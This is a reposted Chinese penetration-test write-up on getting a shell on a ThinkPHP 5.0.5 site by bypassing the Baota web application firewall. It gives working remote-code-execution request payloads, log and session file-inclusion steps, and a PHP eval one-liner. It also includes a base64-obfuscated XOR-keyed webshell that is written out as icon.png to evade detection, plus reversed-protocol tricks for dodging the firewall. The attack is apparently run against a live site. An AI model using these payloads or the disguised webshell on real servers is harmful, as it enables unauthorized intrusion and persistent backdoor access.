分享 | 记一次ThinkPHP测试(Bypass宝塔)Getshell

技术

一、简单的信息收集

尝试路径报错,获取目标版本和配置信息。


        
 `https://example.com/admin/indeeex/login.html` 
 


      

版本为5.0.5,开启debug。

picture.image

直接执行payload,宝塔拦截


        
 `/index.php?s=index/think\app/invokefunction&function=call\_user\_func\_array&vars[0]=assert&vars[1][]=phpinfo()` 
 


      

picture.image

尝试post执行paylaod


        
 `\_method=\_\_construct&method=get&filter=call\_user\_func&get[]=phpinfo` 
 


      

成功执行,php5的assert默认存在代码执行,php7默认不存在。

picture.image

禁用函数


        
 `passthru,exec,system,putenv,chroot,chgrp,chown,shell\_exec,popen,proc\_open,pcntl\_exec,ini\_alter,ini\_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl\_alarm,pcntl\_fork,pcntl\_waitpid,pcntl\_wait,pcntl\_wifexited,pcntl\_wifstopped,pcntl\_wifsignaled,pcntl\_wifcontinued,pcntl\_wexitstatus,pcntl\_wtermsig,pcntl\_wstopsig,pcntl\_signal,pcntl\_signal\_dispatch,pcntl\_get\_last\_error,pcntl\_strerror,pcntl\_sigprocmask,pcntl\_sigwaitinfo,pcntl\_sigtimedwait,pcntl\_exec,pcntl\_getpriority,pcntl\_setpriority,imap\_open,apache\_setenv` 
 


      

不能直接执行命令,尝试日志包含和session包含拿shell。

二、日志包含尝试寻找日志路径配合之前路径报错获取的根路径。


        
 `https://example.com/runtime/log/202111/17.log` 
 


      

对日志进行包含


        
 `\_method=\_\_construct&method=get&filter=think\\_\_include\_file&get[]=/www/wwwroot/taizi/runtime/log/202110/28.log` 
 


      

picture.image

简单看一下访问记录是否能够写入日志,访问


        
 `https://example.com/phpinfo` 
 


      

可以正常写入

picture.image

但是在写入函数的时候被拦截


        
 `https://example.com/phpinfo()` 
 


      

picture.image

正常payload这被拦截


        
 `\_method=\_\_construct&method=get&filter[]=call\_user\_func&server[]=phpinfo&get[]=<?php eval($\_POST['x'])?>` 
 


      

三、session包含


        
 `\_method=\_\_construct&filter[]=think\Session::set&method=get&get[]=eeee&server[]=1` 
 


      

修改一下phpsessionid为1111,进行session包含,可以看到正常写入。


        
 `\_method=\_\_construct&method=get&filter=think\\_\_include\_file&get[]=/tmp/sess\_1111` 
 


      

picture.image

但是如果直接写入shell的话会被拦截

picture.image

所以这里尝试对payload进行加密处理,使用以下payload


        
 `\_method=\_\_construct&method=get&filter=think\Session::set&get[]=<?PHP $str="PD9waHAKQHNlc3Npb25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpmdW5jdGlvbiBlbmNvZGUoJEQsJEspewogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7CiAgICAgICAgJGMgPSAkS1skaSsxJjE1XTsKICAgICAgICAkRFskaV0gPSAkRFskaV1eJGM7CiAgICB9CiAgICByZXR1cm4gJEQ7Cn0KJHBheWxvYWROYW1lPSdwYXlsb2FkJzsKJGtleT0nM2M2ZTBiOGE5YzE1MjI0YSc7CiRkYXRhPWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwppZiAoJGRhdGEhPT1mYWxzZSl7CiAgICAkZGF0YT1lbmNvZGUoJGRhdGEsJGtleSk7CiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0pKXsKICAgICAgICAkcGF5bG9hZD1lbmNvZGUoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0sJGtleSk7CgkJZXZhbCgkcGF5bG9hZCk7CiAgICAgICAgZWNobyBlbmNvZGUoQHJ1bigkZGF0YSksJGtleSk7CiAgICB9ZWxzZXsKICAgICAgICBpZiAoc3RyaXBvcygkZGF0YSwiZ2V0QmFzaWNzSW5mbyIpIT09ZmFsc2UpewogICAgICAgICAgICAkX1NFU1NJT05bJHBheWxvYWROYW1lXT1lbmNvZGUoJGRhdGEsJGtleSk7CiAgICAgICAgfQogICAgfQp9";file\_put\_contents('/www/wwwroot/taizi/icon.png',base64\_decode("$str"));;` 
 


      

未被拦截,但是在包含的时候出问题了,试了好多次,大概的原因就是<和"两个符号会导致解析的时候出问题。

picture.image

尝试对所有payload加密使用伪协议读取内容,但是在使用伪协议对时候又被拦截。

picture.image

这时候可以尝试使用函数,将伪协议反序。


        
 `\_method=\_\_construct&filter[]=think\Session::set&method=get&get[]=aaPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYWJjJ10pKTs/Pg&server[]=1` 
 


      

成功执行。

picture.image

最后要写shell的话直接将shell加密,再将代码加密即可写入。


          
文章来源:先知社区(暮秋初九)
          
原文地址:https://xz.aliyun.com/t/10534
      

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
vivo 容器化平台架构与核心能力建设实践
为了实现规模化降本提效的目标,vivo 确定了基于云原生理念构建容器化生态的目标。在容器化生态发展过程中,平台架构不断演进,并针对业务的痛点和诉求,持续完善容器化能力矩阵。本次演讲将会介绍 vivo 容器化平台及主要子系统的架构设计,并分享重点建设的容器化核心能力。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论